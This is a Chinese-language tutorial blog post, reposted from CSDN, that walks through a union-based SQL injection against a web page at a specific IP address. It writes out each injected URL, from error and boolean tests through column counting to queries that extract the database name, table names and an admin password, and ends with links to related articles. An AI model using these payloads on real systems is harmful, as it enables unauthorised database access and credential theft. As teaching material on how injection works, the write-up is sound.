SQL 注入攻击案例
一、检测注入点
二、判断是否存在 SQL 注入可能
三、数据库爆破
四、字段爆破
五、数据库表爆破
六、用户名、密码爆破
七、总结
一、检测注入点
首先,在 http://120.203.13.75:6815/?id=1
目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。
这相当于查询语句:
select * from [表名] where id = '';
二、判断是否存在 SQL 注入可能
在 http://120.203.13.75:6815/?id=1
后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',
此时的 SQL 查询语句变为:
select * from 表名 where id =1';
SQL 语句未正确结束,因此返回了一个错误页面,如图所示:
继续测试 and 1=1 和 and 1=2:
http://120.203.13.75:6815/?id=1 and 1=1
这相当于 SQL 查询语句:
select * from 表名 where id =1 and 1=1;
SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:
http://120.203.13.75:6815/?id=1 and 1=2
这相当于 SQL 查询语句:
select select * from 表名 where id =1 and 1=2;
SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:
说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
三、数据库爆破
现在要判断数据库类型以及版本,构造语句如下:
http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。
四、字段爆破
进一步猜测数据注入位置:
http://120.203.13.75:6815/?id=1 order by 10
这相当于 SQL 查询语句:
select * from [表名] where id =1 order by 10;
返回错误,说明字段小于 10:
http://120.203.13.75:6815/?id=1 order by 2
这相当于SQL查询语句:
select * from [表名] where id =1 order by 2;
返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。
五、数据库表爆破
确定字段之后,现在要构造联合查询语句 (union select),语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2
可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。
查询数据库版本:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()
得到结果为版本号 5.5.53,如图所示:
六、用户名、密码爆破
现在把 2 替换掉,先查询数据库名称,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()
浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:
用同样的手法查询表名,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'
浏览器返回 admin,说明表名为 admin,如图所示:
再用同样的手法猜测密码和用户名字段,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin
返回失败,说明字段名称不是 pwd。
重新猜测密码字段,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin
返回成功,说明密码字段名称为 password,且登录密码为 hellohack。
七、总结
要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。
基本步骤:
- 找到注入点;
- 判断当前表的字段;
- 用联合语句查看哪几位是有效位;
- 查看当前数据库中有哪些表;
- 查看表中有哪些属性;
- 查看表中具体的数据信息。
转自:https://blog.csdn.net/carol980206/article/details/87905304
SQL 注入攻击案例的更多相关文章
- 实例讲解 SQL 注入攻击
这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...
- 防止SQL注入攻击的一些方法小结
SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...
- ASP.NET中的SQL注入攻击与防护
什么是SQL注入攻击? 它是在执行SQL查询的时候,由于接收了用户的非法参数从而导致,所执行的SQL语义与业务逻辑原本所要查询的语义不相符,从而实现的攻击. 例如我们经常使用的用户登录,通常会出现这样 ...
- Java Filter防止sql注入攻击
原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例:某个网站的登入验证的SQ ...
- Java学习笔记47(JDBC、SQL注入攻击原理以及解决)
JDBC:java的数据库连接 JDBC本质是一套API,由开发公司定义的类和接口 这里使用mysql驱动,是一套类库,实现了接口 驱动程序类库,实现接口重写方法,由驱动程序操作数据库 JDBC操作步 ...
- 【数据库】SQL注入攻击
背景: 机房收费系统验收的时候,师父提到SQL注入攻击.自己以前看过类似的博客大概知道一些这方面的事情,于是自己动手查了查. 定义: 所谓SQL注入,通过SQL命令插入到Web表单提交或者输入域名或页 ...
- JDBC基础:JDBC快速入门,JDBC工具类,SQL注入攻击,JDBC管理事务
JDBC基础 重难点梳理 一.JDBC快速入门 1.jdbc的概念 JDBC(Java DataBase Connectivity:java数据库连接)是一种用于执行SQL语句的Java API,可以 ...
- Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法
sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...
- Java程序员从笨鸟到菜鸟之(一百零一)sql注入攻击详解(二)sql注入过程详解
在上篇博客中我们分析了sql注入的原理,今天我们就来看一下sql注入的整体过程,也就是说如何进行sql注入,由于本人数据库和网络方面知识有限,此文章是对网上大量同类文章的分析与总结,其中有不少直接引用 ...
随机推荐
- 多层If语句 和 表格驱动 的对比
网文提到表格驱动,总喜欢拿一层if做例子,然而这样未免也太简单. 下文是三层缩进的if和表驱动比较,大家可自行判断优劣. 业务是这样的,某景点分旺季票价和淡季票价,淡季票为旺季的一半,15岁以下孩子再 ...
- android -------- java.net.UnknownServiceException
最近升级了Android的API版本时 ,导致我的网络请求失败了, 出现了这个错误 java.net.UnknownServiceException, 这个错误,我在网上查到这个主要是由于,我们的Ok ...
- markdown如何在表格内换行?
答:使用<br>即可在表格内换行
- LODOP中的各种宽高和位置简短问答
LODOP中的位置边距,可查看本博客另一篇相关博文:LODOOP中的各种边距 打印项.整体偏移.可打区域.内部边距关于LODOP中的各种宽高,可查看本博文简短问答下方的正文:.该文其实有两个以前的相关 ...
- CTF 资源
1.<CTF 工具集>包括web工具.渗透环境.隐形工具.逆向工具.漏洞扫描工具.sql注入工具.暴力破解工具.加解密工具等等. 参考地址:https://www.ctftools.com ...
- NPOI OFFICE 2007 文件格式不被支持,读取异常
在使用public XSSFWorkbook(FileInfo file) 时报文件格式不被支持,(读取异常/格式错误),根目录少了 ICSharpCode.SharpZipLib.dll . NPO ...
- windows下 使用ip地址反查主机名的命令
nbtstat -a [远端或局域网某计算机的IP地址] 可以查询返回远端或局域网某计算机的主机名 C:\Documents and Settings\z00121596>nbtstat -a ...
- 使用Wifi pineapple(菠萝派)进行Wi-Fi钓鱼攻击
简介: WiFi Pineapple 是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器. 特性: 用作 Wi-Fi 中间人攻击测试平台 一整套的针对 AP 的渗透测试套件 基于 WEB ...
- 将自己的项目作为jar包发布到maven中央仓库
maven版本是3.5.0,jdk是1.8(注意,不是说项目是1.8就行,必须是环境变量里的也是,不能超过1.8,否则一大堆问题,执行mvn前用javac -version看下版本) 一:先在sona ...
- 死锁造成oom的排错
1.死锁的查看步骤 jps -l jstack xxxx(xxxx为java进程的进程号) ------ 2:查看java进程的参数: jps -l jinfo -flag printGcDetial ...